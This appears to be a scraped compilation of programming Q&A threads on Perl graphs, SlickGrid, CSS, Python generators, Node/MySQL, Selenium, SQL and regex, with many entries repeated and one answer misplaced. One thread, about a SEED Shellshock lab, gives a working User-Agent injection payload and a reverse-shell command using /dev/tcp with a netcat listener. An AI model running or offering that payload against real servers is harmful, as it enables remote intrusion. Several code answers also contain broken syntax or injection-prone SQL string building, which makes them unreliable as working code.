I have a list of bigrams and their frequencies. I can easily create a (mathematical) graph of only the bigrams using Graph::Easy. The output is exactly what I desire. But when I try to "set_attribute" I get an error that says, "'frequency' is not a valid attribute name". What am I doing wrong? Using Graph::Easy, how do I make frequency a valid attribute?

#!/usr/bin/perl

# graph.pl - given a list of bigrams and their frequencies, output graphml

# require
use Graph::Easy;
use strict;

# initialize
my $graph = Graph::Easy->new;

# process the data
while ( <DATA> ) {

    # parse
    chop;
    my ( $nodes, $frequency ) = split( "\t", $_ );
    my ( $source, $target )   = split( ' ', $nodes );

    # update the graph
    my $edge = $graph->add_edge( $source, $target );

    # error happen here
    $edge->set_attribute( 'frequency', $frequency );

}

# output & done
print $graph->as_graphml();
exit;

# a set of bigrams and their frequencies
__DATA__
cds classroom   4
maximum registration    4
may want    3
anomalies within    2
resulting analysis  2
participants may    2
corpus without  2
journal articles    2
quickly learn   2
active reading  2
text mining     2
literally count     2
find patterns   2
14 million  2
digital humanities  2
humanities research     2

Body:
The "best" answer for me is to not use Graph::Easy but instead use a Python module, NetworkX:

#!/usr/bin/python

# graph.py - given a CSV file of a specific shape, output graphml

# configure
DATA  = './data.csv'
GRAPH = './data.graphml'
LABEL = 'frequency'

# require
import networkx as nx
import csv

# initialize
g = nx.DiGraph()

# read the data
with open( DATA, 'r' ) as f :

    # initialize
    r = csv.reader( f, delimiter='\t')

    # process each record
    for source, target, frequency in r :

        # sanity check
        if len( source ) == 0 or len( target ) == 0 : continue

        # update the graph
        g.add_edge( source, target )
        g[ source ][ target ][ LABEL ] = frequency

# output & done
nx.write_graphml( g, GRAPH )
exit()


问:
Custom column filter on a formatted column
I need help using a custom column filter for handling JS objects.

I have a slickgrid table where the values in one column are JS object:

```<code>[
  { id: "1234", text: "Batman"},
  { id: "2345", text: "Robin"}
]
</code>```

I use a custom formatter to smash the object into a string:

```<code>// convert [{id:string, text:string}...] to string
const optionFormatter: Formatter = (row, cell, value, columnDef, dataContext: any) =>
  value ? value.map(o => o.text).join(', ') : '';
</code>```

Which displays in slickgrid as

```<code>Batman, Robin
</code>```

my slickgrid options use gridmenu and enables column filtering:

```<code> this.gridOptions = {
  enableGridMenu: true,
  enableFiltering: true,
  enableAutoResize: true,
  enableColumnReorder: true
};
</code>```

My columnDef enables filtering for this column:

```<code>{
  id: 'owners',
  name: 'Owners',
  field: 'owners',
  sortable: false,
  formatter: optionFormatter,
  filterable: true
}
</code>```

Everything works if the value in the cell is a string, but the filter doesn't work if the cell is an object.  I assume the filter is searching the pre-formatted value.

Is there a way to provide the column with a custom filter function that knows how to search the JS object for the query string?  For example if I could just search the JSON.stringify(value), that would be good enough.

Alternatively, this answer describes how I could use the formatter to store the formatted text as a different string property in dataContext.  If I do that, how do I specify which property to filter, seeing as it is a different property than the column field?

答:
I found a workaround.

preprocess my data, calling JSON.stringify on all values that are objects:

```<code>flattenFeature(f: Feature): any{
  var res = {};
  for (var prop in f) {
    res[prop] = (typeof f[prop] === 'object') ? JSON.stringify(f[prop]) : f[prop];
  }
  return res;
}
</code>```

Then in my formatter, I parse the json, before formatting:

```<code>// convert [{id:string, text:string}...] to string
const optionFormatter: Formatter = (row, cell, value, columnDef, dataContext) =>
  value ? JSON.parse(value).map(o => o.text).join(', ') : '';
</code>```

This allows the standard string filter to search the stringify'd JSON

Body:
I need help using a custom column filter for handling JS objects.

I have a slickgrid table where the values in one column are JS object:

[
  { id: "1234", text: "Batman"},
  { id: "2345", text: "Robin"}
]

I use a custom formatter to smash the object into a string:

// convert [{id:string, text:string}...] to string
const optionFormatter: Formatter = (row, cell, value, columnDef, dataContext: any) =>
  value ? value.map(o => o.text).join(', ') : '';

Which displays in slickgrid as

Batman, Robin

my slickgrid options use gridmenu and enables column filtering:

 this.gridOptions = {
  enableGridMenu: true,
  enableFiltering: true,
  enableAutoResize: true,
  enableColumnReorder: true
};

My columnDef enables filtering for this column:

{
  id: 'owners',
  name: 'Owners',
  field: 'owners',
  sortable: false,
  formatter: optionFormatter,
  filterable: true
}

Everything works if the value in the cell is a string, but the filter doesn't work if the cell is an object.  I assume the filter is searching the pre-formatted value.

Is there a way to provide the column with a custom filter function that knows how to search the JS object for the query string?  For example if I could just search the JSON.stringify(value), that would be good enough.

Alternatively, this answer describes how I could use the formatter to store the formatted text as a different string property in dataContext.  If I do that, how do I specify which property to filter, seeing as it is a different property than the column field?

Body:
I found a workaround.

preprocess my data, calling JSON.stringify on all values that are objects:

flattenFeature(f: Feature): any{
  var res = {};
  for (var prop in f) {
    res[prop] = (typeof f[prop] === 'object') ? JSON.stringify(f[prop]) : f[prop];
  }
  return res;
}

Then in my formatter, I parse the json, before formatting:

// convert [{id:string, text:string}...] to string
const optionFormatter: Formatter = (row, cell, value, columnDef, dataContext) =>
  value ? JSON.parse(value).map(o => o.text).join(', ') : '';

This allows the standard string filter to search the stringify'd JSON


问:
Unwanted scrollable horizontal space on mobile devices
I am building this website http://104.236.64.172:8081 using Bulma CSS framework (probably irrelevant). The site is responsive and overall looks great on mobile devices except for one small problem that I am unable to fix.

If you open this link on your mobile phone you'll see that there is some unwanted horizontal space on the right side. Kind of like some spare margin-right. But the problem is I can't debug this on my desktop because it doesn't seem to appear on large screens with small widths. Can you help me debug this?

答:
I was able to resolve the issue by hiding the overflow-x on the cont class.

For example:

```<code>.cont {
    max-width: 1110px;
    margin: 0 auto;
    overflow-x: hidden; /* THIS */
}
</code>```

I tried adding this same implementation on cont's children classes, but it did not seem to resolve the issue the way that it did with it's parent. If someone has a better (or safer) resolution, feel free to use that instead of this as this may prove to create unwanted effects later on.

Also just as a tip, you should be able to use a web browser's (in my case Chrome) inspect feature in order to reproduce using a site on a mobile device. Here's a quick walkthrough.

Body:
I was able to resolve the issue by hiding the overflow-x on the cont class.

For example:

.cont {
    max-width: 1110px;
    margin: 0 auto;
    overflow-x: hidden; /* THIS */
}

I tried adding this same implementation on cont's children classes, but it did not seem to resolve the issue the way that it did with it's parent. If someone has a better (or safer) resolution, feel free to use that instead of this as this may prove to create unwanted effects later on.

Also just as a tip, you should be able to use a web browser's (in my case Chrome) inspect feature in order to reproduce using a site on a mobile device. Here's a quick walkthrough.


问:
python functions as optional generators
Lets say I have a function and I want to have the option to return results or not. This would be easy to code:

```<code>def foo(N, is_return=False):
    l = []
    for i in range(N):
        print(i)
        if is_return:
            l.append(i)
    if is_return:
        return l
</code>```

But now lets say I want the function to be a generator. I would write something like this:

```<code>def foo_gen(N, is_return=False):
    for i in range(N):
        print(i)
        if is_return:
            yield i
</code>```

So presumably when is_return is False then foo_gen is just a function with no return value and when is_return is True foo_gen is a generator, for which I would like there to be two different invocations:

```<code>In [1]: list(foo_gen(3, is_return=True))
0
1
2
Out[2]: [0, 1, 2]
</code>```

for when it is a generator and you have to iterate through the yielded values, and:

```<code>>>> In [2]: foo_gen(3)
0
1
2
</code>```

For when it is not a generator and it just has it's side-effect and you don't have to iterate through it. However, this latter behavior doesn't work instead just returning the generator. You can just receive nothing from it:

```<code>In [3]: list(foo_gen(3, is_return=False))
0
1
2
Out[3]: []
</code>```

But this isn't as nice and is confusing for users of an API who aren't expecting to have to iterate through anything to make the side-effects occur.

Is there anyway to make the behavior of In [2] in a function?

答:
So presumably when is_return is False then foo_gen is just a
  function with no return value and when is_return is True foo_gen
  is a generator

You have your assumptions wrong. is_return does not determine if your function is a generator or not. The mere presence of a yield expression determines that, either the expression is reachable at function call or not, doesn't matter.

So you probably want to stick to the first approach of returning a list which in my opinion is less confusing and easier to maintain.

Title: python functions as optional generators

Body:
Lets say I have a function and I want to have the option to return results or not. This would be easy to code:

def foo(N, is_return=False):
    l = []
    for i in range(N):
        print(i)
        if is_return:
            l.append(i)
    if is_return:
        return l

But now lets say I want the function to be a generator. I would write something like this:

def foo_gen(N, is_return=False):
    for i in range(N):
        print(i)
        if is_return:
            yield i

So presumably when is_return is False then foo_gen is just a function with no return value and when is_return is True foo_gen is a generator, for which I would like there to be two different invocations:

In [1]: list(foo_gen(3, is_return=True))
0
1
2
Out[2]: [0, 1, 2]

for when it is a generator and you have to iterate through the yielded values, and:

>>> In [2]: foo_gen(3)
0
1
2

For when it is not a generator and it just has it's side-effect and you don't have to iterate through it. However, this latter behavior doesn't work instead just returning the generator. You can just receive nothing from it:

In [3]: list(foo_gen(3, is_return=False))
0
1
2
Out[3]: []

But this isn't as nice and is confusing for users of an API who aren't expecting to have to iterate through anything to make the side-effects occur.

Is there anyway to make the behavior of In [2] in a function?


问:
Syntax error on token "" + "", invalid AssignmentOperator
I get the error message specified in the title. Help?</p>

```<code>public class SumOfTwo {

    public static void main(String args[]) {

        int five = 5;
        int four = 4;
        int sum = five + four;

        System.out.println(five " + " four);
    }

}
</code>```

答:
To concatenate variable value with a String, you need + between them.

Change

```<code>System.out.println(five " + " four);
</code>```

to

```<code>System.out.println(five + " + " + four);
</code>```

Body:
I get the error message specified in the title. Help?

public class SumOfTwo {

    public static void main(String args[]) {

        int five = 5;
        int four = 4;
        int sum = five + four;

        System.out.println(five " + " four);
    }

}

Body:
To concatenate variable value with a String, you need + between them.

Change

System.out.println(five " + " four);

to

System.out.println(five + " + " + four);


答:
To do that, you would need to wrap foo_gen in another function which either returns the generator or iterates over it itself, like this:

```<code>def maybe_gen(N, is_return=False):
    real_gen = foo_gen(N)
    if is_return:
        for item in real_gen:
            pass
    else:
        return real_gen

def foo_gen(N):
    for i in range(N):
        print(i)
        yield i

>>> list(maybe_gen(3))
0
1
2
[0, 1, 2]
>>> maybe_gen(3, is_return=True)
0
1
2
>>>
</code>```

The reason is that occurrence of yield anywhere in the function makes it a generator function.  There's no way to have a function that decides at call time whether it's a generator function or not.  Instead, you have to have a non-generator function that decides at runtime whether to return a generator or something else.

That said, doing this is most likely not a good idea.  You can see that what maybe_gen does when is_return is True is completely trivial.  It just iterates over the generator without doing anything.  This is especially silly since in this case the generator itself doesn't do anything except print.

It is better to have the function API be consistent: either always return a generator, or never do.  A better idea would be to just have two functions foo_gen that is the generator, and print_gen or something which unconditionally prints it.  If you want the generator, you call foo_gen.  If you just want to print it, you call print_gen instead, rather than passing a "flag" argument to foo_gen.

With regard to your comment at the end:

But this isn't as nice and is confusing for users of an API who aren't expecting to have to iterate through anything to make the side-effects occur.

If the API specifies that the function returns a generator, users should expect to have to iterate over it.  If the API says it doesn't return a generator, users shouldn't expect to have to iterate over it.  The API should just say one or the other, which will make it clear to users what to expect.  What is far more confusing is to have an awkward API that tells users they have to pass a flag to determine whether they get a generator or not, because this complicates the expectations of the user.

Title: python functions as optional generators

Body:
To do that, you would need to wrap foo_gen in another function which either returns the generator or iterates over it itself, like this:

def maybe_gen(N, is_return=False):
    real_gen = foo_gen(N)
    if is_return:
        for item in real_gen:
            pass
    else:
        return real_gen

def foo_gen(N):
    for i in range(N):
        print(i)
        yield i

>>> list(maybe_gen(3))
0
1
2
[0, 1, 2]
>>> maybe_gen(3, is_return=True)
0
1
2
>>>

The reason is that occurrence of yield anywhere in the function makes it a generator function.  There's no way to have a function that decides at call time whether it's a generator function or not.  Instead, you have to have a non-generator function that decides at runtime whether to return a generator or something else.

That said, doing this is most likely not a good idea.  You can see that what maybe_gen does when is_return is True is completely trivial.  It just iterates over the generator without doing anything.  This is especially silly since in this case the generator itself doesn't do anything except print.

It is better to have the function API be consistent: either always return a generator, or never do.  A better idea would be to just have two functions foo_gen that is the generator, and print_gen or something which unconditionally prints it.  If you want the generator, you call foo_gen.  If you just want to print it, you call print_gen instead, rather than passing a "flag" argument to foo_gen.

With regard to your comment at the end:

But this isn't as nice and is confusing for users of an API who aren't expecting to have to iterate through anything to make the side-effects occur.

If the API specifies that the function returns a generator, users should expect to have to iterate over it.  If the API says it doesn't return a generator, users shouldn't expect to have to iterate over it.  The API should just say one or the other, which will make it clear to users what to expect.  What is far more confusing is to have an awkward API that tells users they have to pass a flag to determine whether they get a generator or not, because this complicates the expectations of the user.


问:
Using Node.js to write MySQL One-to-Many relationship
I have tried doing this several ways, and maybe node.js is the wrong language to use for this purpose, but I thought it could be quickly done with it. I am taking a contacts table with names and addresses, and converting it to two tables with a one-to-many relationship, so that one contact can have multiple addresses. The desired data structure is like this:

Contact Table
contactId
firstName
lastName
phone
email
etc...

Address Table
addressId
contactId
street
city
state
etc...

Currently all fields are in the same table.

The result I am getting is that the data in the second query never changes. So if I write the contact query first, then it works as expected, but the addresses all end up as duplicates of one contact's address. If I insert the address record first, then I get duplicate records of one contact. I tried nesting the queries first, but I split them out when I got this behavior. My thinking was that I could write the queries . I need to write the contact and get the ID back, then write the address with the contactID. OR I need to write the address and get THAT ID back, and then write the contact, get that ID, and then do an update query to put the contactId into the address record. This last method is the attempt shown in the code below.

Here is my code currently:

```<code>var sql = "SELECT * FROM pfPeople";
connection.query(sql, function(err, result, fields)  {
    if (err) throw err;

    for (var i = 0; i < result.length; i++) {
        var names = result[i].fullName.replace(/"/g, "'").split(" ");

        var sql2 = "INSERT INTO contact (firstName, lastName, title, phone1, phone2, fax, email1, notes, org) VALUES (" +
        "\"" + names[0] + "\", \"" + names[1] + "\", \"" + result[i].title.replace(/"/g, "'") + " \", \"" + result[i].phone1 + "\", \"" +
        result[i].phone2 + "\", " + "\"" + result[i].phone3 + "\", \"" + result[i].email + "\", \"" + result[i].notes.replace(/"/g, "'") + "\", \"" +
        result[i].org.replace(/"/g, "'") + "\")";

        var street = result[i].street;
        var city = result[i].city;
        var state = result[i].state;
        var zip = result[i].zip;
        var country = result[i].country;

        var sql3 = "INSERT INTO address (address1, city, state, zip, country) VALUES (" +
        "\"" + street + "\", \" " + city + "\", \"" + state + "\", \"" + zip + "\", \"" + country + "\")";

        var contactId;
        var addressId;

        connection.query(sql2, function(err, cResult) {
            if (err) throw err;

            var contactId = cResult.insertId;

            console.log("Inserted ID: " + contactId);
        });

        connection.query(sql3, function(err, aResult) {
            if (err) throw err;

            var addressId = aResult.insertId;
        });

        var sql4 = "UPDATE address set contactId = " + contactId + " WHERE (addressId = " + addressId + ")";

        connection.query(sql4, function(err, uRes) {
            console.log("Address updated " + addressId + " " + contactId);
        });

        if (i > 3) break;
    }
});
</code>```

答:
well i add some promises to make it easier. the problem was you didnt wait for the responses to finish. try this code

var sql = "SELECT * FROM pfPeople";
connection.query(sql, function(err, result, fields)  {
    if (err) throw err;

    for (var i = 0; i < result.length; i++) {
        var names = result[i].fullName.replace(/"/g, "'").split(" ");

        var sql2 = "INSERT INTO contact (firstName, lastName, title, phone1, phone2, fax, email1, notes, org) VALUES (" +
        "\"" + names[0] + "\", \"" + names[1] + "\", \"" + result[i].title.replace(/"/g, "'") + " \", \"" + result[i].phone1 + "\", \"" +
        result[i].phone2 + "\", " + "\"" + result[i].phone3 + "\", \"" + result[i].email + "\", \"" + result[i].notes.replace(/"/g, "'") + "\", \"" +
        result[i].org.replace(/"/g, "'") + "\")";

        var street = result[i].street;
        var city = result[i].city;
        var state = result[i].state;
        var zip = result[i].zip;
        var country = result[i].country;

        var sql3 = "INSERT INTO address (address1, city, state, zip, country) VALUES (" +
        "\"" + street + "\", \" " + city + "\", \"" + state + "\", \"" + zip + "\", \"" + country + "\")";

        const contacPromise = new Promise((resolve,reject) =>{
           connection.query(sql2, function(err, cResult) {
              if (err) return reject( err);
              resolve( cResult.insertId);
          });
        })

        const addressPromise = new Promise((resolve,reject) =>{
            connection.query(sql3, function(err, aResult) {
                if (err) return reject( err);
                resolve(aResult.insertId);
            });
        })
        Pomise.all([contacPromise,addressPromise])
        .then(([contactId,addressId]) =>{
           var sql4 = "UPDATE address set contactId = " + contactId + " WHERE (addressId = " + addressId + ")";

          connection.query(sql4, function(err, uRes) {
              console.log("Address updated " + addressId + " " + contactId);
          });

        })
        .catch(err => throw err)

        if (i > 3) break;
    }
});```

Body:
I have tried doing this several ways, and maybe node.js is the wrong language to use for this purpose, but I thought it could be quickly done with it. I am taking a contacts table with names and addresses, and converting it to two tables with a one-to-many relationship, so that one contact can have multiple addresses. The desired data structure is like this:

Contact Table
contactId
firstName
lastName
phone
email
etc...

Address Table
addressId
contactId
street
city
state
etc...

Currently all fields are in the same table.

The result I am getting is that the data in the second query never changes. So if I write the contact query first, then it works as expected, but the addresses all end up as duplicates of one contact's address. If I insert the address record first, then I get duplicate records of one contact. I tried nesting the queries first, but I split them out when I got this behavior. My thinking was that I could write the queries . I need to write the contact and get the ID back, then write the address with the contactID. OR I need to write the address and get THAT ID back, and then write the contact, get that ID, and then do an update query to put the contactId into the address record. This last method is the attempt shown in the code below.

Here is my code currently:

var sql = "SELECT * FROM pfPeople";
connection.query(sql, function(err, result, fields)  {
    if (err) throw err;

    for (var i = 0; i < result.length; i++) {
        var names = result[i].fullName.replace(/"/g, "'").split(" ");

        var sql2 = "INSERT INTO contact (firstName, lastName, title, phone1, phone2, fax, email1, notes, org) VALUES (" +
        "\"" + names[0] + "\", \"" + names[1] + "\", \"" + result[i].title.replace(/"/g, "'") + " \", \"" + result[i].phone1 + "\", \"" +
        result[i].phone2 + "\", " + "\"" + result[i].phone3 + "\", \"" + result[i].email + "\", \"" + result[i].notes.replace(/"/g, "'") + "\", \"" +
        result[i].org.replace(/"/g, "'") + "\")";

        var street = result[i].street;
        var city = result[i].city;
        var state = result[i].state;
        var zip = result[i].zip;
        var country = result[i].country;

        var sql3 = "INSERT INTO address (address1, city, state, zip, country) VALUES (" +
        "\"" + street + "\", \" " + city + "\", \"" + state + "\", \"" + zip + "\", \"" + country + "\")";

        var contactId;
        var addressId;

        connection.query(sql2, function(err, cResult) {
            if (err) throw err;

            var contactId = cResult.insertId;

            console.log("Inserted ID: " + contactId);
        });

        connection.query(sql3, function(err, aResult) {
            if (err) throw err;

            var addressId = aResult.insertId;
        });

        var sql4 = "UPDATE address set contactId = " + contactId + " WHERE (addressId = " + addressId + ")";

        connection.query(sql4, function(err, uRes) {
            console.log("Address updated " + addressId + " " + contactId);
        });

        if (i > 3) break;
    }
});


问:
What can't be done in CSS yet?
A while ago I was trying to figure out a way of doing this without using a table layout:

```<code><table>
  <tr><td rowspan="2">Left column</td></tr>
  <tr><td>Right Top</td><td>Right bottom</td></tr>
</table>
</code>```

Eventually I gave up and decided that it's impossible to do without tables (okay, CSS 3 might be able to, but waiting another 5-10 years isn't practical).

Has anyone got more examples like this? (Or even better, can you show me I was wrong?)

答:
```<code><div style='float:left;width:200px;height:300px;'>Left column</div>
<div style='margin-left:200px;'>
    <div>Right top</div>
    <div>Right bottom</div>
</div>
</code>```

I think you want something like that. Remember, the css float ability is amazing. This is just an example.

Title: What can't be done in CSS yet?

Body:
A while ago I was trying to figure out a way of doing this without using a table layout:

Left column

Right Top	Right bottom

Eventually I gave up and decided that it's impossible to do without tables (okay, CSS 3 might be able to, but waiting another 5-10 years isn't practical).

Has anyone got more examples like this? (Or even better, can you show me I was wrong?)

Body:
<div style='float:left;width:200px;height:300px;'>Left column</div>
<div style='margin-left:200px;'>
    <div>Right top</div>
    <div>Right bottom</div>
</div>

I think you want something like that. Remember, the css float ability is amazing. This is just an example.

OwnerDisplayName: Evan Fosmark


问:
Python selenium webdriver code performance
I am scraping a webpage using Selenium in Python. I am able to locate the elements using this code:

```<code>from selenium import webdriver
import codecs

driver = webdriver.Chrome()
driver.get("url")
results_table=driver.find_elements_by_xpath('//*[@id="content"]/table[1]/tbody/tr')
</code>```

Each element in results_table is in turn a set of sub-elements, with the number of sub-elements varying from element to element. My goal is to output each element, as a list or as a delimited string, into an output file. My code so far is this:

```<code>results_file=codecs.open(path+"results.txt","w","cp1252")

for element in enumerate(results_table):
    element_fields=element.find_elements_by_xpath(".//*[text()][count(*)=0]")
    element_list=[field.text for field in element_fields]
    stuff_to_write='#'.join(element_list)+"\r\n"
    results_file.write(stuff_to_write)
    #print (i)
results_file.close()
driver.quit()
</code>```

This second part of code takes about 2.5 minutes on a list of ~400 elements, each with about 10 sub-elements. I get the desired output, but it is too slow. What could I do to improve the prformance ?

Using python 3.6

答:
Download the whole page in one shot, then use something like BeautifulSoup to process it. I haven't used splinter or selenium in a while, but in Splinter, .html will give you the page. I'm not sure what the syntax is for that in Selenium, but there should be a way to grab the whole page.

Selenium (and Splinter, which is layered on top of Selenium) are notoriously slow for randomly accessing web page content. Looks like .page_source may give the entire contents of the page in Selenium, which I found at stackoverflow.com/questions/35486374/…. If reading all the chunks on the page one at a time is killing your performance (and it probably is), reading the whole page once and processing it offline will be oodles faster.

Body:
I am scraping a webpage using Selenium in Python. I am able to locate the elements using this code:

from selenium import webdriver
import codecs

driver = webdriver.Chrome()
driver.get("url")
results_table=driver.find_elements_by_xpath('//*[@id="content"]/table[1]/tbody/tr')

Each element in results_table is in turn a set of sub-elements, with the number of sub-elements varying from element to element. My goal is to output each element, as a list or as a delimited string, into an output file. My code so far is this:

results_file=codecs.open(path+"results.txt","w","cp1252")

for element in enumerate(results_table):
    element_fields=element.find_elements_by_xpath(".//*[text()][count(*)=0]")
    element_list=[field.text for field in element_fields]
    stuff_to_write='#'.join(element_list)+"\r\n"
    results_file.write(stuff_to_write)
    #print (i)
results_file.close()
driver.quit()

This second part of code takes about 2.5 minutes on a list of ~400 elements, each with about 10 sub-elements. I get the desired output, but it is too slow. What could I do to improve the prformance ?

Using python 3.6


问:
Agent field is set but not run the function in shell shock
I try to solve seed lab shell shock vulnerability lab in that, i set the agent field by bellow command
Curl -A "() {echo hello;}; Content_type: text/plain; echo; /bin/ls -l " http://localhost/cgi-bin/sample.cgi

The out put is still the hello word that placed inside the cgi script

I test the agent field by checking environment variables. It was set to my command but not executed? Any suggestions for why the bash was not parse this to function
Thank in advance

答:
I finally got the answer myself, it was because of wrong syntax.
The correct syntax  is this:
Curl -A '() {  :;};  Content_type: text/plain; echo; /bin/ls -l'
And for running a bash command for get reverse shell  is like this:
Curl -A '() {  :;}; $(/bin/bash -i > /dev/tcp/your ip/9090 2>&1 0>&1'

http://yourwebsiteadrress/cgi-bin/your cgi file

Don't forget to make your machine to listen to 9090 first by this, of course in a new terminal

nc -l 9090 -v

Then you have the reverse shell


问:
SQL - How to join two tables that are based on a bit condition and will always populate the field

I am trying to join two tables in MS SQL Server.

One table contains the persons Name and their ID.

```<code>+----+---------+--------------+---------+
| ID |  Name   |    phone     |  email  |
+----+---------+--------------+---------+
|  1 | John A. | 111-111-1111 | a@email |
|  2 | Sara B. | 111-111-1112 | b@email |
|  3 | Joe C.  | 111-111-1113 | c@email |
|  4 | Jane D. | 111-111-1114 | d@email |
+----+---------+--------------+---------+
</code>```

The other table contains the ID, the languages they know, and a bit that indicates if it is their native language.

```<code>+----+----------+---------+
| ID | Language | Native  |
+----+----------+---------+
|  1 | English  | True    |
|  1 | Spanish  | False   |
|  2 | Spanish  | True    |
|  2 | English  | False   |
|  2 | French   | False   |
|  3 | French   | False   |
|  3 | Spanish  | False   |
|  4 | English  | True    |
+----+----------+---------+
</code>```

The table I want should show the id, persons name, their native language or which ever language is returned first, if this is their native language, phone number, email.

```<code>+----+---------+----------+--------+--------------+---------+
| ID |  Name   | Language | Native |    phone     |  email  |
+----+---------+----------+--------+--------------+---------+
|  1 | John A. | English  | True   | 111-111-1111 | a@email |
|  2 | Sara B. | Spanish  | True   | 111-111-1112 | b@email |
|  3 | Joe C.  | French   | False  | 111-111-1113 | c@email |
|  4 | Jane D. | English  | True   | 111-111-1114 | d@email |
+----+---------+----------+--------+--------------+---------+
</code>```

I have tried joining the tables and providing a where condition but it either returns only the native languages or all of the languages that the person knows.  I have also tried grouping by the ID, which said that the columns are invalid in the selected list.  I put all the columns into the group by clause but that gave me operand data type bit is invalid for max operator.

```<code>SELECT p.ID
      ,p.Name
      ,l.Language
      ,coalesce(max(l.native),0) as native
      ,p.phone
      ,p.email
  FROM people as p
  JOIN Languages as l on p.ID = l.ID
  group by p.id
</code>```

答:
If your RDBMS doesn't support window functions, then something like this should work:</p>

```<code>SELECT p.ID
      ,p.Name
      ,COALESCE(l.Language, l2.language) as language
      ,coalesce(l.native, l2.native) as native
      ,p.phone
      ,p.email
  FROM people as p
  LEFT OUTER JOIN Languages as l on p.ID = l.ID
    AND (l.native = 'true')
  LEFT OUTER JOIN (SELECT id, max(Language), native FROM Languages WHERE native = 'false' GROUP BY id, native) as l2 on p.ID = l2.ID
    AND ()
  group by p.id
</code>```

Body:
I am trying to join two tables in MS SQL Server.

One table contains the persons Name and their ID.

+----+---------+--------------+---------+
| ID |  Name   |    phone     |  email  |
+----+---------+--------------+---------+
|  1 | John A. | 111-111-1111 | a@email |
|  2 | Sara B. | 111-111-1112 | b@email |
|  3 | Joe C.  | 111-111-1113 | c@email |
|  4 | Jane D. | 111-111-1114 | d@email |
+----+---------+--------------+---------+

The other table contains the ID, the languages they know, and a bit that indicates if it is their native language.

+----+----------+---------+
| ID | Language | Native  |
+----+----------+---------+
|  1 | English  | True    |
|  1 | Spanish  | False   |
|  2 | Spanish  | True    |
|  2 | English  | False   |
|  2 | French   | False   |
|  3 | French   | False   |
|  3 | Spanish  | False   |
|  4 | English  | True    |
+----+----------+---------+

The table I want should show the id, persons name, their native language or which ever language is returned first, if this is their native language, phone number, email.

+----+---------+----------+--------+--------------+---------+
| ID |  Name   | Language | Native |    phone     |  email  |
+----+---------+----------+--------+--------------+---------+
|  1 | John A. | English  | True   | 111-111-1111 | a@email |
|  2 | Sara B. | Spanish  | True   | 111-111-1112 | b@email |
|  3 | Joe C.  | French   | False  | 111-111-1113 | c@email |
|  4 | Jane D. | English  | True   | 111-111-1114 | d@email |
+----+---------+----------+--------+--------------+---------+

I have tried joining the tables and providing a where condition but it either returns only the native languages or all of the languages that the person knows.  I have also tried grouping by the ID, which said that the columns are invalid in the selected list.  I put all the columns into the group by clause but that gave me operand data type bit is invalid for max operator.

SELECT p.ID
      ,p.Name
      ,l.Language
      ,coalesce(max(l.native),0) as native
      ,p.phone
      ,p.email
  FROM people as p
  JOIN Languages as l on p.ID = l.ID
  group by p.id

Body:
If your RDBMS doesn't support window functions, then something like this should work:

SELECT p.ID
      ,p.Name
      ,COALESCE(l.Language, l2.language) as language
      ,coalesce(l.native, l2.native) as native
      ,p.phone
      ,p.email
  FROM people as p
  LEFT OUTER JOIN Languages as l on p.ID = l.ID
    AND (l.native = 'true')
  LEFT OUTER JOIN (SELECT id, max(Language), native FROM Languages WHERE native = 'false' GROUP BY id, native) as l2 on p.ID = l2.ID
    AND ()
  group by p.id


问:
How is this dispatch function coming from props?
I'm trying to learn from reading this app's code, and I am confused how you get dispatch from the props in this line of code:

```<code> _handleSubmit(e) {
    e.preventDefault();

    const { email, password } = this.refs;
    const { dispatch } = this.props;

    dispatch(Actions.signIn(email.value, password.value));
  }
</code>```

https://github.com/bigardone/phoenix-trello/blob/master/web/static/js/views/sessions/new.js#L17

Hoping someone can explain how calling this.props will return a dispatch?

答:
Just an example of destructuring assignment. See more here:

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment

Body:
I'm trying to learn from reading this app's code, and I am confused how you get dispatch from the props in this line of code:

 _handleSubmit(e) {
    e.preventDefault();

    const { email, password } = this.refs;
    const { dispatch } = this.props;

    dispatch(Actions.signIn(email.value, password.value));
  }

https://github.com/bigardone/phoenix-trello/blob/master/web/static/js/views/sessions/new.js#L17

Hoping someone can explain how calling this.props will return a dispatch?


问:
Find the line with all caps in Regex Python
I'm trying to find all lines that are all caps using regex, and so far I've tried this:

```<code>re.findall(r'\b\n|[A-Z]+\b', kaizoku)
</code>```

So far my database is as follows:

```<code>TRAFALGAR LAW
You shall not be the pirate king.
MONKEY D LUFFY
Now!
DOFLAMINGO'S UNDERLINGS:
Noooooo!
</code>```

I want it to return

```<code>TRAFALGAR LAW
MONKEY D LUFFY
DOFLAMINGO'S UNDERLINGS:
</code>```

But it's returning something else.
(Namely this:

```<code>TRAFALGAR
LAW
Y
MONKEY
D
LUFFY
N
DOFLAMINGO'
S
UNDERLINGS:
N
</code>```

EDIT
So far I really think the best fit for the answer is @Jan's answer

```<code>rx = re.compile(r"^([A-Z ':]+$)\b", re.M)
rx.findall(string)
</code>```

EDIT2 Found out what's wrong, thanks!

答:
You can use [A-Z\W] to check for any uppercase letters along with non alphanumeric characters:

```<code>import re
s = ["TRAFALGAR LAW", "You shall not be the pirate king.", "MONKEY D LUFFY", "Now!", "DOFLAMINGO'S UNDERLINGS:", "Noooooo!"]
new_s = [i for i in s if re.findall('^[A-Z\d_\W]+$', i)]
</code>```

Output:

```<code>['TRAFALGAR LAW', 'MONKEY D LUFFY', "DOFLAMINGO'S UNDERLINGS:"]
</code>```

Body:
I'm trying to find all lines that are all caps using regex, and so far I've tried this:

re.findall(r'\b\n|[A-Z]+\b', kaizoku)

So far my database is as follows:

TRAFALGAR LAW
You shall not be the pirate king.
MONKEY D LUFFY
Now!
DOFLAMINGO'S UNDERLINGS:
Noooooo!

I want it to return

TRAFALGAR LAW
MONKEY D LUFFY
DOFLAMINGO'S UNDERLINGS:

But it's returning something else.
(Namely this:

TRAFALGAR
LAW
Y
MONKEY
D
LUFFY
N
DOFLAMINGO'
S
UNDERLINGS:
N

EDIT
So far I really think the best fit for the answer is @Jan's answer

rx = re.compile(r"^([A-Z ':]+$)\b", re.M)
rx.findall(string)

EDIT2 Found out what's wrong, thanks!

Body:
You can use [A-Z\W] to check for any uppercase letters along with non alphanumeric characters:

import re
s = ["TRAFALGAR LAW", "You shall not be the pirate king.", "MONKEY D LUFFY", "Now!", "DOFLAMINGO'S UNDERLINGS:", "Noooooo!"]
new_s = [i for i in s if re.findall('^[A-Z\d_\W]+$', i)]

Output:

['TRAFALGAR LAW', 'MONKEY D LUFFY', "DOFLAMINGO'S UNDERLINGS:"]


问:
Select all columns of a dataframe as a StructType
